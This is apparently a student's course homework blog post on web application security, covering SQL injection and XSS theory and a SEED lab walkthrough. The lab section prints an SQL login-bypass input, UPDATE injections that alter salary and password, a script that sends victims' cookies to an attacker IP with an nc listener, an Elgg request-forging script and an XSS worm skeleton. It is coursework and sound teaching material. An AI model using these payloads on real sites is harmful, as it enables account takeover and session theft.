20199309 2019-2020-2 《网络攻防实践》第十一周作业

这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense
-|-|-
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10695
我在这个课程的目标是 |
这个作业在哪个具体方面帮助我实现目标 | 熟悉了解Web应用程序体系结构及其安全威胁
作业正文 | 1.实践内容、2.实践过程、3.学习中遇到的问题及解决、4.实践总结
其他参考文献 | 见正文最后部分

1.实践内容

Web应用程序体系结构及其安全威胁

Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行,依赖于浏览器来对应用程序进行渲染和执行

Web应用的体系结构图如下图:

浏览器是瘦客户端,主要完成数据显示和展示内容的渲染功能。而胖服务器负责完成主要业务的计算处理。两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。从图中可以看到,有浏览器,Web服务器,Web应用程序,MySQL数据库等。浏览器就是我们平常使用的那些浏览器,如chrome,firefox等。而Web服务器呢,这个常被称为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行,渲染和展示。web应用程序则是处理业务逻辑的,是比较核心的一部分。数据库则是web应用存储数据的地方。

Web应用安全威胁:

针对浏览器和终端用户的Web浏览安全威胁。如网页木马,网站钓鱼
针对传输网络的网络协议安全威胁,如明文传输监听,拒绝服务攻击等
系统层安全威胁,web站点的宿主操作系统,存在着远程渗透攻击和本地渗透攻击威胁
Web服务器软件安全威胁。如IIS和Apache的漏洞
Web应用程序安全威胁,编程实现Web应用程序时,由于缺乏安全意识或者有着不良的编程习惯,导致Web应用程序出现安全漏洞。如SQL注入攻击,XSS跨站脚本攻击等
Web数据安全威胁,web后台存储的数据,存在被窃取,篡改及输入不良信息等威胁。

Web应用安全攻防技术概述

针对Web应用程序的探测和漏洞发现有以下技术:

手工审查Web应用程序结构与源代码。这个技术就是通过手工浏览Web应用的各个页面,菜单,目录,来查看关键页面的源代码
自动下载与镜像Web站点页面。在不同操作系统上通过不同的工具软件对目标Web站点指定URL所对应的页面,或符合镜像设置的页面列表进行下载,并查看,搜索与分析本地保存的页面源代码
使用Google hacking技术审查与探测Web应用程序。通过google的高级搜索与挖掘技巧,来寻找一些关注的信息
Web应用程序安全评估与漏洞探测。透彻理解目标应用程序的体系结构和设计思路,找出可能存在的薄弱环节,最后再循序渐进的总结出针对这个Web应用程序的详细攻击步骤。
Web服务器平台中的安全漏洞主要分为以下几大类。

数据驱动的远程代码执行安全漏洞
服务器功能扩展模块漏洞
样本文件安全漏洞
源代码泄露
资源解析攻击
Web应用程序安全威胁:

针对认证机制的攻击
授权机制的攻击
客户端攻击
命令执行攻击
信息暴露
逻辑攻击
Web站点除了通过服务器软件和应用程序中存在安全漏洞和弱点遭受攻击之外,还面临着针对敏感数据内容的攻击威胁,具体包括安全敏感数据泄露,网站内容遭受篡改,以及不良信息内容上传。

Web应用安全防范措施:

Web站点网络传输安全设防措施
1.尽量使用HTTPS
2.通过加密的连接通道来管理Web站点
3.对关键的Web服务器,设置静态绑定MAC-IP映射
Web站点操作系统及服务安全设防措施
1.及时打补丁
2.提前对存在的漏洞进行发现和修补
3.关闭一些可能存在漏洞的服务
Web应用程序安全设防措施
1.谨慎采用动态页面技术
2.使用具有良好安全声誉及稳定技术支持力量的Web应用软件包
3.在必要时候自主或外包开发Web应用程序,在开发和部署过程中重视安全变成,持续性的安全测试与维护
4.使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计
Web站点数据安全设防措施
1.提高网站维护人员的安全意识
2.对数据进行日常监测与防护

SQL注入

攻击原理:SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术,这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如引号(’)等。向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。

SQL注入攻击步骤和过程
1.发现SQL注入点
2.判断后台数据库类型
3.后台数据库中管理员用户口令字猜测
4.上传ASP后门,得到默认账号权限
5.本地权限提升
6.利用数据库扩展存储过程执行Shell命令

SQL注入攻击工具
Wposion:能够在动态Web文档中找出SQL注入漏洞
wieliekoek.pl:能够进行SQL注入漏洞探测
SPIKE PROXY:允许使用者对待注入的字符串进行定制,并执行自动化的SQL注入测试

SQL注入攻击防范措施
1.使用类型安全的参数编码机制。注意参数的类型安全
2.凡是来自外部的用户输入,必须进行完备检查
3.将动态SQL语句替换为存储过程,预编译SQL或ADO命令对象
4.加强SQL数据库服务器的配置和连接

XSS跨站脚本攻击

XSS(Cross Site Scripting)跨站脚本攻击的最终目标不是提供服务的Web应用程序,而是使用Web应用程序的用户。XSS跨站脚本漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意的HTML或JavaScript代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息,客户端渗透攻击等危害后果。这种攻击最终的受害者是访问这些Web服务器的其他用户

XSS攻击类型
安全业界普遍将其分为两种主要的XSS漏洞类型,即持久性XSS漏洞和非持久性XSS漏洞。利用这两类漏洞的攻击也被称为持久性XSS攻击与非持久性XSS攻击。
持久性XSS漏洞通常出现在一些可以将用户输入持久性地保存在Web服务器端,并在一些正常页面中持续性地显示,从而能够影响所有访问这些页面的其他用户,这种漏洞通常出现在留言本,BBS论坛,博客等Web应用程序中,
非持久性XSS漏洞,当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS漏洞

XSS攻击防范措施
服务器端防范措施:

  • 输入验证
  • 输出净化
  • 消除危险的输入点
    客户端防范措施
    提升浏览器的安全设置,提高浏览器访问非受信网站时的安全等级,关闭Cookie功能或设置Cookie只读,此外也可以用一些非主流的安全浏览器来降低风险。

2.实践过程

实践一:SQL 注入实验

完成以下任务:
(1)熟悉 SQL 语句: 我们已经创建了一个名为 Users 的数据库,其中包含一个名为 creditential 的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn 等)。在此任务中,您需要使用数据库来熟悉 SQL 查询
(2)对 SELECT 语句的 SQL 注入攻击:上述 Web 应用存在 SQL 输入漏洞,任务是在不知道密码的情况下登陆该 Web 应用程序
(3)对 UPDATE 语句的 SQL 注入攻击:通过员工的更新个人界面实施 UPDATE 语句的 SQL 注入攻击
(4)SQL 对抗,修复上述 SQL 注入攻击漏洞

(1)首先登录 MySQL 数据库,mysql -u root -pseedubuntu

(2)使用系统创建好的 Users 数据库,use Users

(3)下面我们使用WHERE 子句指令select * from credential where Name='Alice';

** 对 SELECT 语句的 SQL 注入攻击
(1)使用 SEED 访问已经搭建好的 Web 页面:www.SEEDLabSQLInjection.com

(2)使用快捷键ctrl+U查看该页面源码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验

(3)通过vim /var/www/SQLInjection/unsafe_home.php,找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞

绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空:


** 任务三:对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
1.首先我们查看下后台代码,在/var/www/SQLInjection/unsafe edit backend.php

2.先查看下alice的id,发现是10000

3.然后再alice的编辑页面输入构造好的语句,如下图

4.发现修改成功。薪水变成了200

5.从前面的代码可以知道,密码是hash过的,所以我们需要先生成一个hash。这里选择了密码为123456,然后输入下图命令,即可生成。

6.然后输入构造好的语句,修改Password字段。修改成功,可以登录。

实践二:SEED XSS注入实验

实践内容:访问www.xsslabelgg.com查看实验所用的web应用Elgg,利用XSS漏洞完成下列任务:
通过弹窗显示恶意信息
在消息窗口中显示 Cookie
窃取受害主机的 Cookie
使用窃取的Cookies进行会话劫持
修改受害者的信息
XSS蠕虫
XSS攻击
实践过程
通过弹窗显示恶意信息
(1)www.xsslabelgg.com中已有的账户信息【Alice:seedalice】【Boby:seedboby】
(2)打开www.xsslabelgg.com,并以Alice身份登录,点击alice的edit profile

(3)Alice退出,以Body身份登入并访问Alice的profile,more—>members—>Alice,弹出如下警告框:

插入的js代码改为:,然后以Boby身份登录查看Alice的profile

** 窃取受害主机的 Cookie
分析:我们可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。

(1)下载echoserver解压并make编译
下面我们使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。

插入的js代码为:
<script>document.write('<img src=http://192.168.200.2:5555?c=' + escape(document.cookie) + ' >');</script> 192.168.200.2为攻击机IP
(2)攻击者在命令行下执行nc -l 5555 -v # -l指定端口,-v显示详细信息命令,监听5555端口。当用户访问Alice profile时,打印出当前用户的cookies。

** 使用窃取的Cookies进行会话劫持
(1)首先我们应该查看加朋友的时候都需要干什么。

(2)接下来就是构造javascript代码了,其中的sendurl中包含了加朋友所需要的东西,也就是上面分析的。这段代码首先是获取elgg_ts和elgg_token,然后构造一个URL访问,44是alice号。

<script type="text/javascript">
	window.onload = function () {
  var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>

将这段代码放到Alice的About me中(这里注意要是edit HTML模式),即显示为Visual editor,因为原来的brief限制长度。

(3)接下来以Boby身份登录然后访问Alice的主页。

** 编写XSS蠕虫
我们将下面的程序放在Alice的about me中。

<script id="worm" type ="text/javascript">
	var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
  var jsCode = document.getElementById("worm").innerHTML;
  var tailTag = "</" + "script>";
	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
	alert(jsCode);
</script>

(2)以boby的身份登录,然后访问Alice的profile

三.学习中遇到的问题及解决

问题1:seed Ubuntu莫名其妙vmx文件没有了
问题1解决方案:重新装了一个

四.实践总结

每一次实践都是一次成长,每一次认真的思考都是为自己的命运之花浇水。

参考资料

posted @ 2020-05-14 10:49  张方佼  阅读(555)  评论(0编辑  收藏  举报
Language: HTML